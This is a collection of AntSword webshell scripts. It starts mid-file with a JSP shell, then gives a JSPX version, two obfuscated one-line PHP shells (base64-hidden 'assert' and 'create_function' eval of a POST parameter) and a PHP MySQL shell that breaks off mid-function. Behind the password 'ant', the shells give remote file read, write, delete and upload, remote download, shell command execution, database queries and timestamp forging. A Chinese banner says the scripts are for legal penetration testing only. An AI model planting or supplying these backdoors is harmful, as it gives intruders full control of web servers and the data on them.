String[] x = conn.trim().replace("\r\n", "\n").split("\n");
Class.forName(x[0].trim());
String url = x[1];
Connection c = DriverManager.getConnection(url,x[2],x[3]);
Statement stmt = c.createStatement();
ResultSet rs = stmt.executeQuery(sql);
ResultSetMetaData rsmd = rs.getMetaData();
if (needcoluname) {
for (int i = 1; i <= rsmd.getColumnCount(); i++) {
String columnName = rsmd.getColumnName(i);
ret += columnName + columnsep;
}
ret += rowsep;
}
while (rs.next()) {
for (int i = 1; i <= rsmd.getColumnCount(); i++) {
String columnValue = rs.getString(i);
ret += columnValue + columnsep;
}
ret += rowsep;
}
return ret;
}
String WwwRootPathCode(String d) throws Exception {
String s = "";
if (!d.substring(0, 1).equals("/")) {
File[] roots = File.listRoots();
for (int i = 0; i < roots.length; i++) {
s += roots[i].toString().substring(0, 2) + "";
}
} else {
s += "/";
}
return s;
}
String FileTreeCode(String dirPath) throws Exception {
File oF = new File(dirPath), l[] = oF.listFiles();
String s = "", sT, sQ, sF = "";
java.util.Date dt;
String fileCode=(String)System.getProperties().get("file.encoding");
SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
for (int i = 0; i < l.length; i++) {
dt = new java.util.Date(l[i].lastModified());
sT = fm.format(dt);
sQ = l[i].canRead() ? "R" : "";
sQ += l[i].canWrite() ? " W" : "";
String nm = new String(l[i].getName().getBytes(fileCode), cs);
if (l[i].isDirectory()) {
s += nm + "/\t" + sT + "\t" + l[i].length() + "\t" + sQ + "\n";
} else {
sF += nm + "\t" + sT + "\t" + l[i].length() + "\t" + sQ + "\n";
}
}
s += sF;
return new String(s.getBytes(fileCode), cs);
}
String ReadFileCode(String filePath) throws Exception {
String l = "", s = "";
BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(new File(filePath)), cs));
while ((l = br.readLine()) != null) {
s += l + "\r\n";
}
br.close();
return s;
}
String WriteFileCode(String filePath, String fileContext) throws Exception {
String h = "0123456789ABCDEF";
String fileHexContext = strtohexstr(fileContext);
File f = new File(filePath);
FileOutputStream os = new FileOutputStream(f);
for (int i = 0; i < fileHexContext.length(); i += 2) {
os.write((h.indexOf(fileHexContext.charAt(i)) << 4 | h.indexOf(fileHexContext.charAt(i + 1))));
}
os.close();
return "1";
}
String DeleteFileOrDirCode(String fileOrDirPath) throws Exception {
File f = new File(fileOrDirPath);
if (f.isDirectory()) {
File x[] = f.listFiles();
for (int k = 0; k < x.length; k++) {
if (!x[k].delete()) {
DeleteFileOrDirCode(x[k].getPath());
}
}
}
f.delete();
return "1";
}
void DownloadFileCode(String filePath, HttpServletResponse r) throws Exception {
int n;
byte[] b = new byte[512];
r.reset();
ServletOutputStream os = r.getOutputStream();
BufferedInputStream is = new BufferedInputStream(new FileInputStream(filePath));
os.write(("->"+"|").getBytes(), 0, 3);
while ((n = is.read(b, 0, 512)) != -1) {
os.write(b, 0, n);
}
os.write(("|"+"<-").getBytes(), 0, 3);
os.close();
is.close();
}
String UploadFileCode(String savefilePath, String fileHexContext) throws Exception {
String h = "0123456789ABCDEF";
File f = new File(savefilePath);
f.createNewFile();
FileOutputStream os = new FileOutputStream(f,true);
for (int i = 0; i < fileHexContext.length(); i += 2) {
os.write((h.indexOf(fileHexContext.charAt(i)) << 4 | h.indexOf(fileHexContext.charAt(i + 1))));
}
os.close();
return "1";
}
String CopyFileOrDirCode(String sourceFilePath, String targetFilePath) throws Exception {
File sf = new File(sourceFilePath), df = new File(targetFilePath);
if (sf.isDirectory()) {
if (!df.exists()) {
df.mkdir();
}
File z[] = sf.listFiles();
for (int j = 0; j < z.length; j++) {
CopyFileOrDirCode(sourceFilePath + "/" + z[j].getName(), targetFilePath + "/" + z[j].getName());
}
} else {
FileInputStream is = new FileInputStream(sf);
FileOutputStream os = new FileOutputStream(df);
int n;
byte[] b = new byte[1024];
while ((n = is.read(b, 0, 1024)) != -1) {
os.write(b, 0, n);
}
is.close();
os.close();
}
return "1";
}
String RenameFileOrDirCode(String oldName, String newName) throws Exception {
File sf = new File(oldName), df = new File(newName);
sf.renameTo(df);
return "1";
}
String CreateDirCode(String dirPath) throws Exception {
File f = new File(dirPath);
f.mkdir();
return "1";
}
String ModifyFileOrDirTimeCode(String fileOrDirPath, String aTime) throws Exception {
File f = new File(fileOrDirPath);
SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
java.util.Date dt = fm.parse(aTime);
f.setLastModified(dt.getTime());
return "1";
}
String WgetCode(String urlPath, String saveFilePath) throws Exception {
URL u = new URL(urlPath);
int n = 0;
FileOutputStream os = new FileOutputStream(saveFilePath);
HttpURLConnection h = (HttpURLConnection) u.openConnection();
InputStream is = h.getInputStream();
byte[] b = new byte[512];
while ((n = is.read(b)) != -1) {
os.write(b, 0, n);
}
os.close();
is.close();
h.disconnect();
return "1";
}
String SysInfoCode(HttpServletRequest r) throws Exception {
String d = "";
try {
if(r.getSession().getServletContext().getRealPath("/") != null){
d = r.getSession().getServletContext().getRealPath("/");
}else{
String cd = this.getClass().getResource("/").getPath();
d = new File(cd).getParent();
}
} catch (Exception e) {
String cd = this.getClass().getResource("/").getPath();
d = new File(cd).getParent();
}
d = String.valueOf(d.charAt(0)).toUpperCase() + d.substring(1);
String serverInfo = (String)System.getProperty("os.name");
String separator = File.separator;
String user = (String)System.getProperty("user.name");
String driverlist = WwwRootPathCode(d);
return d + "\t" + driverlist + "\t" + serverInfo + "\t" + user;
}
boolean isWin() {
String osname = (String)System.getProperty("os.name");
osname = osname.toLowerCase();
if (osname.startsWith("win"))
return true;
return false;
}
String ExecuteCommandCode(String cmdPath, String command) throws Exception {
StringBuffer sb = new StringBuffer("");
String[] c = { cmdPath, !isWin() ? "-c" : "/c", command };
Process p = Runtime.getRuntime().exec(c);
CopyInputStream(p.getInputStream(), sb);
CopyInputStream(p.getErrorStream(), sb);
return sb.toString();
}
String getEncoding(String str) {
String encode[] = new String[]{
"UTF-8",
"ISO-8859-1",
"GB2312",
"GBK",
"GB18030",
"Big5",
"Unicode",
"ASCII"
};
for (int i = 0; i < encode.length; i++){
try {
if (str.equals(new String(str.getBytes(encode[i]), encode[i]))) {
return encode[i];
}
} catch (Exception ex) {
}
}
return "";
}
String strtohexstr(String fileContext)throws Exception{
String h = "0123456789ABCDEF";
byte[] bytes = fileContext.getBytes(cs);
StringBuilder sb = new StringBuilder(bytes.length * 2);
for (int i = 0; i < bytes.length; i++) {
sb.append(h.charAt((bytes[i] & 0xf0) >> 4));
sb.append(h.charAt((bytes[i] & 0x0f) >> 0));
}
String fileHexContext = sb.toString();
return fileHexContext;
}
String asenc(String str, String decode){
if(decode.equals("hex") || decode=="hex"){
String ret = "";
for (int i = 0; i < str.length(); i++) {
int ch = (int) str.charAt(i);
String s4 = Integer.toHexString(ch);
ret = ret + s4;
}
return ret;
}else if(decode.equals("base64") || decode == "base64"){
String sb = "";
sun.misc.BASE64Encoder encoder = new sun.misc.BASE64Encoder();
sb = encoder.encode(str.getBytes());
return sb;
}else if(decode.equals("hex_base64") || decode == "hex_base64"){
return asenc(asenc(str, "base64"), "hex");
}
return str;
}
String decode(String str) {
byte[] bt = null;
try {
sun.misc.BASE64Decoder decoder = new sun.misc.BASE64Decoder();
bt = decoder.decodeBuffer(str);
} catch (IOException e) {
e.printStackTrace();
}
return new String(bt);
}
String decode(String str, String encode) throws Exception{
if(encode.equals("hex") || encode=="hex"){
if(str=="null"||str.equals("null")){
return "";
}
String hexString = "0123456789ABCDEF";
str = str.toUpperCase();
ByteArrayOutputStream baos = new ByteArrayOutputStream(str.length()/2);
String ss = "";
for (int i = 0; i < str.length(); i += 2){
ss = ss + (hexString.indexOf(str.charAt(i)) << 4 | hexString.indexOf(str.charAt(i + 1))) + ",";
baos.write((hexString.indexOf(str.charAt(i)) << 4 | hexString.indexOf(str.charAt(i + 1))));
}
return baos.toString(cs);
}else if(encode.equals("base64") || encode == "base64"){
byte[] bt = null;
sun.misc.BASE64Decoder decoder = new sun.misc.BASE64Decoder();
bt = decoder.decodeBuffer(str);
return new String(bt,cs);
}
return str;
}
void CopyInputStream(InputStream is, StringBuffer sb) throws Exception {
String l;
BufferedReader br = new BufferedReader(new InputStreamReader(is, cs));
while ((l = br.readLine()) != null) {
sb.append(l + "\r\n");
}
br.close();
}%>
<%
response.setContentType("text/html");
request.setCharacterEncoding(cs);
response.setCharacterEncoding(cs);
StringBuffer output = new StringBuffer("");
StringBuffer sb = new StringBuffer("");
try {
String funccode = EC(request.getParameter(Pwd) + "");
String z0 = decode(EC(request.getParameter("z0")+""), encoder);
String z1 = decode(EC(request.getParameter("z1") + ""), encoder);
String z2 = decode(EC(request.getParameter("z2") + ""), encoder);
String z3 = decode(EC(request.getParameter("z3") + ""), encoder);
String[] pars = { z0, z1, z2, z3};
output.append("->" + "|");
if (funccode.equals("B")) {
sb.append(FileTreeCode(pars[1]));
} else if (funccode.equals("C")) {
sb.append(ReadFileCode(pars[1]));
} else if (funccode.equals("D")) {
sb.append(WriteFileCode(pars[1], pars[2]));
} else if (funccode.equals("E")) {
sb.append(DeleteFileOrDirCode(pars[1]));
} else if (funccode.equals("F")) {
DownloadFileCode(pars[1], response);
} else if (funccode.equals("U")) {
sb.append(UploadFileCode(pars[1], pars[2]));
} else if (funccode.equals("H")) {
sb.append(CopyFileOrDirCode(pars[1], pars[2]));
} else if (funccode.equals("I")) {
sb.append(RenameFileOrDirCode(pars[1], pars[2]));
} else if (funccode.equals("J")) {
sb.append(CreateDirCode(pars[1]));
} else if (funccode.equals("K")) {
sb.append(ModifyFileOrDirTimeCode(pars[1], pars[2]));
} else if (funccode.equals("L")) {
sb.append(WgetCode(pars[1], pars[2]));
} else if (funccode.equals("M")) {
sb.append(ExecuteCommandCode(pars[1], pars[2]));
} else if (funccode.equals("N")) {
sb.append(showDatabases(pars[0], pars[1]));
} else if (funccode.equals("O")) {
sb.append(showTables(pars[0], pars[1], pars[2]));
} else if (funccode.equals("P")) {
sb.append(showColumns(pars[0], pars[1], pars[2], pars[3]));
} else if (funccode.equals("Q")) {
sb.append(query(pars[0], pars[1], pars[2]));
} else if (funccode.equals("A")) {
sb.append(SysInfoCode(request));
}
} catch (Exception e) {
sb.append("ERROR" + ":// " + e.toString());
}
output.append(asenc(sb.toString(), decoder));
output.append("|" + "<-");
out.print(output.toString());
%>
<!--
_ ____ _
__ _ _ __ | |_/ ___|_ _____ _ __ __| |
/ _` | '_ \| __\___ \ \ /\ / / _ \| '__/ _` |
| (_| | | | | |_ ___) \ V V / (_) | | | (_| |
\__,_|_| |_|\__|____/ \_/\_/ \___/|_| \__,_|
———————————————————————————————————————————————
AntSword JSPX Custom Script for Mysql
警告:
此脚本仅供合法的渗透测试以及爱好者参考学习
请勿用于非法用途,否则将追究其相关责任!
———————————————————————————————————————————————
说明:
1. AntSword >= v2.1.0
2. 创建 Shell 时选择 custom 模式连接
3. 数据库连接:
com.mysql.jdbc.Driver
jdbc:mysql://localhost/test?user=root&password=123456
注意:以上是两行
4. 本脚本中 encoder/decoder 与 AntSword 添加 Shell 时选择的 encoder/decoder 要一致,如果选择 default 则需要将值设置为空
Ver:1.5
-->
<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" xmlns="http://www.w3.org/1999/xhtml" xmlns:c="http://java.sun.com/jsp/jstl/core" version="1.2">
<jsp:directive.page contentType="text/html" pageEncoding="UTF-8" />
<jsp:directive.page import="java.io.*"/>
<jsp:directive.page import="java.util.*"/>
<jsp:directive.page import="java.net.*"/>
<jsp:directive.page import="java.sql.*"/>
<jsp:directive.page import="java.text.*"/>
<jsp:declaration>
<![CDATA[
// ################################################
String Pwd = "ant"; //连接密码
// 编码器 3 选 1
String encoder = ""; // default
// String encoder = "base64"; //base64
// String encoder = "hex"; //hex(推荐)
String cs = "UTF-8"; // 字符编码
// 解码器 4 选 1
String decoder = "";
// String decoder = "base64"; // base64 中文正常
// String decoder = "hex"; // hex 中文可能有问题
// String decoder = "hex_base64"; // hex(base64) // 中文正常
// ################################################
String EC(String s) throws Exception {
if(encoder.equals("hex") || encoder == "hex") return s;
return new String(s.getBytes(), cs);
}
String showDatabases(String encode, String conn) throws Exception {
String sql = "show databases";
String columnsep = "\t";
String rowsep = "";
return executeSQL(encode, conn, sql, columnsep, rowsep, false);
}
String showTables(String encode, String conn, String dbname) throws Exception {
String sql = "show tables from " + dbname;
String columnsep = "\t";
String rowsep = "";
return executeSQL(encode, conn, sql, columnsep, rowsep, false);
}
String showColumns(String encode, String conn, String dbname, String table) throws Exception {
String columnsep = "\t";
String rowsep = "";
String sql = "select * from " + dbname + "." + table + " limit 0,0";
return executeSQL(encode, conn, sql, columnsep, rowsep, true);
}
String query(String encode, String conn, String sql) throws Exception {
String columnsep = "\t|\t";
String rowsep = "\r\n";
return executeSQL(encode, conn, sql, columnsep, rowsep, true);
}
String executeSQL(String encode, String conn, String sql, String columnsep, String rowsep, boolean needcoluname)
throws Exception {
String ret = "";
conn = (EC(conn));
String[] x = conn.trim().replace("\r\n", "\n").split("\n");
Class.forName(x[0].trim());
String url = x[1] + "&characterEncoding=" + decode(EC(encode),encoder);
Connection c = DriverManager.getConnection(url);
Statement stmt = c.createStatement();
ResultSet rs = stmt.executeQuery(sql);
ResultSetMetaData rsmd = rs.getMetaData();
if (needcoluname) {
for (int i = 1; i <= rsmd.getColumnCount(); i++) {
String columnName = rsmd.getColumnName(i);
ret += columnName + columnsep;
}
ret += rowsep;
}
while (rs.next()) {
for (int i = 1; i <= rsmd.getColumnCount(); i++) {
String columnValue = rs.getString(i);
ret += columnValue + columnsep;
}
ret += rowsep;
}
return ret;
}
String WwwRootPathCode(String d) throws Exception {
String s = "";
if (!d.substring(0, 1).equals("/")) {
File[] roots = File.listRoots();
for (int i = 0; i < roots.length; i++) {
s += roots[i].toString().substring(0, 2) + "";
}
} else {
s += "/";
}
return s;
}
String FileTreeCode(String dirPath) throws Exception {
File oF = new File(dirPath), l[] = oF.listFiles();
String s = "", sT, sQ, sF = "";
java.util.Date dt;
String fileCode=(String)System.getProperties().get("file.encoding");
SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
for (int i = 0; i < l.length; i++) {
dt = new java.util.Date(l[i].lastModified());
sT = fm.format(dt);
sQ = l[i].canRead() ? "R" : "";
sQ += l[i].canWrite() ? " W" : "";
String nm = new String(l[i].getName().getBytes(fileCode), cs);
if (l[i].isDirectory()) {
s += nm + "/\t" + sT + "\t" + l[i].length() + "\t" + sQ + "\n";
} else {
sF += nm + "\t" + sT + "\t" + l[i].length() + "\t" + sQ + "\n";
}
}
s += sF;
return new String(s.getBytes(fileCode), cs);
}
String ReadFileCode(String filePath) throws Exception {
String l = "", s = "";
BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(new File(filePath)), cs));
while ((l = br.readLine()) != null) {
s += l + "\r\n";
}
br.close();
return s;
}
String WriteFileCode(String filePath, String fileContext) throws Exception {
String h = "0123456789ABCDEF";
String fileHexContext = strtohexstr(fileContext);
File f = new File(filePath);
FileOutputStream os = new FileOutputStream(f);
for (int i = 0; i < fileHexContext.length(); i += 2) {
os.write((h.indexOf(fileHexContext.charAt(i)) << 4 | h.indexOf(fileHexContext.charAt(i + 1))));
}
os.close();
return "1";
}
String DeleteFileOrDirCode(String fileOrDirPath) throws Exception {
File f = new File(fileOrDirPath);
if (f.isDirectory()) {
File x[] = f.listFiles();
for (int k = 0; k < x.length; k++) {
if (!x[k].delete()) {
DeleteFileOrDirCode(x[k].getPath());
}
}
}
f.delete();
return "1";
}
void DownloadFileCode(String filePath, HttpServletResponse r) throws Exception {
int n;
byte[] b = new byte[512];
r.reset();
ServletOutputStream os = r.getOutputStream();
BufferedInputStream is = new BufferedInputStream(new FileInputStream(filePath));
os.write(("->"+"|").getBytes(), 0, 3);
while ((n = is.read(b, 0, 512)) != -1) {
os.write(b, 0, n);
}
os.write(("|"+"<-").getBytes(), 0, 3);
os.close();
is.close();
}
String UploadFileCode(String savefilePath, String fileHexContext) throws Exception {
String h = "0123456789ABCDEF";
File f = new File(savefilePath);
f.createNewFile();
FileOutputStream os = new FileOutputStream(f,true);
for (int i = 0; i < fileHexContext.length(); i += 2) {
os.write((h.indexOf(fileHexContext.charAt(i)) << 4 | h.indexOf(fileHexContext.charAt(i + 1))));
}
os.close();
return "1";
}
String CopyFileOrDirCode(String sourceFilePath, String targetFilePath) throws Exception {
File sf = new File(sourceFilePath), df = new File(targetFilePath);
if (sf.isDirectory()) {
if (!df.exists()) {
df.mkdir();
}
File z[] = sf.listFiles();
for (int j = 0; j < z.length; j++) {
CopyFileOrDirCode(sourceFilePath + "/" + z[j].getName(), targetFilePath + "/" + z[j].getName());
}
} else {
FileInputStream is = new FileInputStream(sf);
FileOutputStream os = new FileOutputStream(df);
int n;
byte[] b = new byte[1024];
while ((n = is.read(b, 0, 1024)) != -1) {
os.write(b, 0, n);
}
is.close();
os.close();
}
return "1";
}
String RenameFileOrDirCode(String oldName, String newName) throws Exception {
File sf = new File(oldName), df = new File(newName);
sf.renameTo(df);
return "1";
}
String CreateDirCode(String dirPath) throws Exception {
File f = new File(dirPath);
f.mkdir();
return "1";
}
String ModifyFileOrDirTimeCode(String fileOrDirPath, String aTime) throws Exception {
File f = new File(fileOrDirPath);
SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
java.util.Date dt = fm.parse(aTime);
f.setLastModified(dt.getTime());
return "1";
}
String WgetCode(String urlPath, String saveFilePath) throws Exception {
URL u = new URL(urlPath);
int n = 0;
FileOutputStream os = new FileOutputStream(saveFilePath);
HttpURLConnection h = (HttpURLConnection) u.openConnection();
InputStream is = h.getInputStream();
byte[] b = new byte[512];
while ((n = is.read(b)) != -1) {
os.write(b, 0, n);
}
os.close();
is.close();
h.disconnect();
return "1";
}
String SysInfoCode(HttpServletRequest r) throws Exception {
String d = "";
try {
if(r.getSession().getServletContext().getRealPath("/") != null){
d = r.getSession().getServletContext().getRealPath("/");
}else{
String cd = this.getClass().getResource("/").getPath();
d = new File(cd).getParent();
}
} catch (Exception e) {
String cd = this.getClass().getResource("/").getPath();
d = new File(cd).getParent();
}
d = String.valueOf(d.charAt(0)).toUpperCase() + d.substring(1);
String serverInfo = (String)System.getProperty("os.name");
String separator = File.separator;
String user = (String)System.getProperty("user.name");
String driverlist = WwwRootPathCode(d);
return d + "\t" + driverlist + "\t" + serverInfo + "\t" + user;
}
boolean isWin() {
String osname = (String)System.getProperty("os.name");
osname = osname.toLowerCase();
if (osname.startsWith("win"))
return true;
return false;
}
String ExecuteCommandCode(String cmdPath, String command) throws Exception {
StringBuffer sb = new StringBuffer("");
String[] c = { cmdPath, !isWin() ? "-c" : "/c", command };
Process p = Runtime.getRuntime().exec(c);
CopyInputStream(p.getInputStream(), sb);
CopyInputStream(p.getErrorStream(), sb);
return sb.toString();
}
String getEncoding(String str) {
String encode[] = new String[]{
"UTF-8",
"ISO-8859-1",
"GB2312",
"GBK",
"GB18030",
"Big5",
"Unicode",
"ASCII"
};
for (int i = 0; i < encode.length; i++){
try {
if (str.equals(new String(str.getBytes(encode[i]), encode[i]))) {
return encode[i];
}
} catch (Exception ex) {
}
}
return "";
}
String strtohexstr(String fileContext)throws Exception{
String h = "0123456789ABCDEF";
byte[] bytes = fileContext.getBytes(cs);
StringBuilder sb = new StringBuilder(bytes.length * 2);
for (int i = 0; i < bytes.length; i++) {
sb.append(h.charAt((bytes[i] & 0xf0) >> 4));
sb.append(h.charAt((bytes[i] & 0x0f) >> 0));
}
String fileHexContext = sb.toString();
return fileHexContext;
}
String asenc(String str, String decode){
if(decode.equals("hex") || decode=="hex"){
String ret = "";
for (int i = 0; i < str.length(); i++) {
int ch = (int) str.charAt(i);
String s4 = Integer.toHexString(ch);
ret = ret + s4;
}
return ret;
}else if(decode.equals("base64") || decode == "base64"){
String sb = "";
sun.misc.BASE64Encoder encoder = new sun.misc.BASE64Encoder();
sb = encoder.encode(str.getBytes());
return sb;
}else if(decode.equals("hex_base64") || decode == "hex_base64"){
return asenc(asenc(str, "base64"), "hex");
}
return str;
}
String decode(String str) {
byte[] bt = null;
try {
sun.misc.BASE64Decoder decoder = new sun.misc.BASE64Decoder();
bt = decoder.decodeBuffer(str);
} catch (IOException e) {
e.printStackTrace();
}
return new String(bt);
}
String decode(String str, String encode) throws Exception{
if(encode.equals("hex") || encode=="hex"){
if(str=="null"||str.equals("null")){
return "";
}
String hexString = "0123456789ABCDEF";
str = str.toUpperCase();
ByteArrayOutputStream baos = new ByteArrayOutputStream(str.length()/2);
String ss = "";
for (int i = 0; i < str.length(); i += 2){
ss = ss + (hexString.indexOf(str.charAt(i)) << 4 | hexString.indexOf(str.charAt(i + 1))) + ",";
baos.write((hexString.indexOf(str.charAt(i)) << 4 | hexString.indexOf(str.charAt(i + 1))));
}
return baos.toString(cs);
}else if(encode.equals("base64") || encode == "base64"){
byte[] bt = null;
sun.misc.BASE64Decoder decoder = new sun.misc.BASE64Decoder();
bt = decoder.decodeBuffer(str);
return new String(bt,cs);
}
return str;
}
void CopyInputStream(InputStream is, StringBuffer sb) throws Exception {
String l;
BufferedReader br = new BufferedReader(new InputStreamReader(is, cs));
while ((l = br.readLine()) != null) {
sb.append(l + "\r\n");
}
br.close();
}
]]>
</jsp:declaration>
<jsp:scriptlet>
<![CDATA[
response.setContentType("text/html");
response.setCharacterEncoding(cs);
StringBuffer output = new StringBuffer("");
StringBuffer sb = new StringBuffer("");
try {
String funccode = EC(request.getParameter(Pwd) + "");
String z0 = decode(EC(request.getParameter("z0")+""), encoder);
String z1 = decode(EC(request.getParameter("z1") + ""), encoder);
String z2 = decode(EC(request.getParameter("z2") + ""), encoder);
String z3 = decode(EC(request.getParameter("z3") + ""), encoder);
String[] pars = { z0, z1, z2, z3};
output.append("->" + "|");
if (funccode.equals("B")) {
sb.append(FileTreeCode(pars[1]));
} else if (funccode.equals("C")) {
sb.append(ReadFileCode(pars[1]));
} else if (funccode.equals("D")) {
sb.append(WriteFileCode(pars[1], pars[2]));
} else if (funccode.equals("E")) {
sb.append(DeleteFileOrDirCode(pars[1]));
} else if (funccode.equals("F")) {
DownloadFileCode(pars[1], response);
} else if (funccode.equals("U")) {
sb.append(UploadFileCode(pars[1], pars[2]));
} else if (funccode.equals("H")) {
sb.append(CopyFileOrDirCode(pars[1], pars[2]));
} else if (funccode.equals("I")) {
sb.append(RenameFileOrDirCode(pars[1], pars[2]));
} else if (funccode.equals("J")) {
sb.append(CreateDirCode(pars[1]));
} else if (funccode.equals("K")) {
sb.append(ModifyFileOrDirTimeCode(pars[1], pars[2]));
} else if (funccode.equals("L")) {
sb.append(WgetCode(pars[1], pars[2]));
} else if (funccode.equals("M")) {
sb.append(ExecuteCommandCode(pars[1], pars[2]));
} else if (funccode.equals("N")) {
sb.append(showDatabases(pars[0], pars[1]));
} else if (funccode.equals("O")) {
sb.append(showTables(pars[0], pars[1], pars[2]));
} else if (funccode.equals("P")) {
sb.append(showColumns(pars[0], pars[1], pars[2], pars[3]));
} else if (funccode.equals("Q")) {
sb.append(query(pars[0], pars[1], pars[2]));
} else if (funccode.equals("A")) {
sb.append(SysInfoCode(request));
}
} catch (Exception e) {
sb.append("ERROR" + "://" + e.toString());
}
output.append(asenc(sb.toString(), decoder));
output.append("|" + "<-");
out.print(output.toString());
]]>
</jsp:scriptlet>
</jsp:root>
\ No newline at end of file
<?php
/**
* _ ____ _
* __ _ _ __ | |_/ ___|_ _____ _ __ __| |
* / _` | '_ \| __\___ \ \ /\ / / _ \| '__/ _` |
* | (_| | | | | |_ ___) \ V V / (_) | | | (_| |
* \__,_|_| |_|\__|____/ \_/\_/ \___/|_| \__,_|
* ———————————————————————————————————————————————
* AntSword PHP assert Script
*
* 警告:
* 此脚本仅供合法的渗透测试以及爱好者参考学习
* 请勿用于非法用途,否则将追究其相关责任!
* ———————————————————————————————————————————————
* pwd=ant
*/
$ant=base64_decode("YXNzZXJ0");
$ant($_POST['ant']);
?>
\ No newline at end of file
<?php
/**
* _ ____ _
* __ _ _ __ | |_/ ___|_ _____ _ __ __| |
* / _` | '_ \| __\___ \ \ /\ / / _ \| '__/ _` |
* | (_| | | | | |_ ___) \ V V / (_) | | | (_| |
* \__,_|_| |_|\__|____/ \_/\_/ \___/|_| \__,_|
* ———————————————————————————————————————————————
* AntSword PHP Create_Function Script
*
* 警告:
* 此脚本仅供合法的渗透测试以及爱好者参考学习
* 请勿用于非法用途,否则将追究其相关责任!
* ———————————————————————————————————————————————
* pwd = ant
*/
$ant=create_function("", base64_decode('QGV2YWwoJF9QT1NUWyJhbnQiXSk7'));
$ant();
?>
\ No newline at end of file
<?php
/**
* _ ____ _
* __ _ _ __ | |_/ ___|_ _____ _ __ __| |
* / _` | '_ \| __\___ \ \ /\ / / _ \| '__/ _` |
* | (_| | | | | |_ ___) \ V V / (_) | | | (_| |
* \__,_|_| |_|\__|____/ \_/\_/ \___/|_| \__,_|
* ———————————————————————————————————————————————
* AntSword PHP Custom Script for Mysql
*
* 警告:
* 此脚本仅供合法的渗透测试以及爱好者参考学习
* 请勿用于非法用途,否则将追究其相关责任!
* ———————————————————————————————————————————————
*
* 使用说明:
* 1. AntSword >= v2.0.7
* 2. 创建 Shell 时选择 custom 模式连接
* 3. 数据库连接:
* <H>localhost</H>
* <U>root</U>
* <P>123456</P>
*
* 4. 本脚本中 encoder 与 AntSword 添加 Shell 时选择的 encoder 要一致,如果选择 default 则需要将 encoder 值设置为空
*
* ChangeLog:
* Date: 2019/05/22 v1.3
* 1. 支持 mysqli 连接非默认端口
*
* Date: 2019/04/05 v1.2
* 1. 新增 listcmd 接口
* 2. 新增数据库支持函数检查接口
*
* Date: 2016/05/13 v1.1
* 1. 执行 DML 语句,显示执行状态
*
* Date: 2016/04/06 v1.0
* 1. 文件系统 和 terminal 管理
* 2. mysql 数据库支持
* 3. 支持 base64 和 hex 编码
**/
$pwd = "ant"; //连接密码
//数据编码 3 选 1
$encoder = ""; // default
// $encoder = "base64"; //base64
// $encoder = "hex"; // hex
$cs = "UTF-8";
/**
* 字符编码处理
**/
function EC($s){
global $cs;
$sencode = mb_detect_encoding($s, array("ASCII","UTF-8","GB2312","GBK",'BIG5'));
$ret = "";
try {
$ret = mb_convert_encoding($s, $cs, $sencode);
} catch (Exception $e) {
try {
$ret = iconv($sencode, $cs, $s);
} catch (Exception $e) {
$ret = $s;
}
}
return $ret;
}
/*传输解码*/
function decode($s){
global $encoder;
$ret = "";
switch ($encoder) {
case 'base64':
$ret = base64_decode($s);
break;
case 'hex':
for ($i=0; $i < strlen($s)-1; $i+=2) {
$output = substr($s, $i, 2);
$decimal = intval($output, 16);
$ret .= chr($decimal);
}
break;
default:
$ret = $s;
break;
}
return $ret;
}
function showDatabases($encode, $conf){
$sql = "show databases";
$columnsep = "\t";
$rowsep = "";
return executeSQL($encode, $conf, $sql, $columnsep, $rowsep, false);
}
function showTables($encode, $conf, $dbname){
$sql = "show tables from ".$dbname; // mysql
$columnsep = "\t";
$rowsep = "";
return executeSQL($encode, $conf, $sql, $columnsep, $rowsep, false);
}
function showColumns($encode, $conf, $dbname, $table){
$columnsep = "\t";
$rowsep = "";
$sql = "select * from ".$dbname.".".$table." limit 0,0"; // mysql
return executeSQL($encode, $conf, $sql, $columnsep, $rowsep, true);
}
function query($encode, $conf, $sql){
$columnsep = "\t|\t"; // general
$rowsep = "\r\n";
return executeSQL($encode, $conf, $sql, $columnsep, $rowsep, true);
}
function executeSQL($encode, $conf, $sql, $columnsep, $rowsep, $needcoluname){
$ret = "";
$m=get_magic_quotes_gpc();
if ($m) {
$conf = stripslashes($conf);
}
$conf = (EC($conf));
/*
<H>localhost</H>
<U>root</U>
<P>root</P>
*/
$host="";
$user="";
$password="";
if (preg_match('/<H>(.+?)<\/H>/i', $conf, $data)) {
$host = $data[1];
}
if (preg_match('/<U>(.+?)<\/U>/i', $conf, $data)) {
$user = $data[1];
}
if (preg_match('/<P>(.+?)<\/P>/i', $conf, $data)) {
$password = $data[1];
}
$encode = decode(EC($encode));
$port=split(":",$host)[1];
$host=split(":",$host)[0];
$conn = @mysqli_connect($host, $user, $password, "", $port);
$res = @mysqli_query($conn, $sql);
if (is_bool($res)) {
return "Status".$columnsep.$rowsep.($res?"True":"False").$columnsep.$rowsep;
}
$i=0;
if ($needcoluname) {
while ($col=@mysqli_fetch_field($res)) {
$ret .= $col->name.$columnsep;
$i++;
}
$ret .= $rowsep;
}
while($rs=@mysqli_fetch_row($res)){
for($c = 0; $c <= $i; $c++){
$ret .= trim($rs[$c]).$columnsep;
}
$ret.=$rowsep;
}
return $ret;
}
function BaseInfo(){
$D=dirname($_SERVER["SCRIPT_FILENAME"]);
if($D==""){
$D=dirname($_SERVER["PATH_TRANSLATED"]);
}
$R="{$D}\t";
if(substr($D,0,1)!="/"){
foreach(range("C","Z")as $L)
if(is_dir("{$L}:"))
$R.="{$L}:";
}else{
$R.="/";
}
$R.="\t";
$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";
$s=($u)?$u["name"]:@get_current_user();
$R.=php_uname();
$R.="\t{$s}";
return $R;
}
function FileTreeCode($D){
$ret = "";
$F=@opendir($D);
if($F==NULL){
$ret = "ERROR:// Path Not Found Or No Permission!";
}else{
$M=NULL;
$L=NULL;
while($N=@readdir($F)){
$P=$D."/".$N;
$T=@date("Y-m-d H:i:s",@filemtime($P));
@$E=substr(base_convert(@fileperms($P),10,8),-4);
$R="\t".$T."\t".@filesize($P)."\t".$E."\n";
if(@is_dir($P))
$M.=$N."/".$R;
else
$L.=$N.$R;
}
$ret .= $M.$L;
@closedir($F);
}
return $ret;
}
function ReadFileCode($F){
$ret = "";
try {
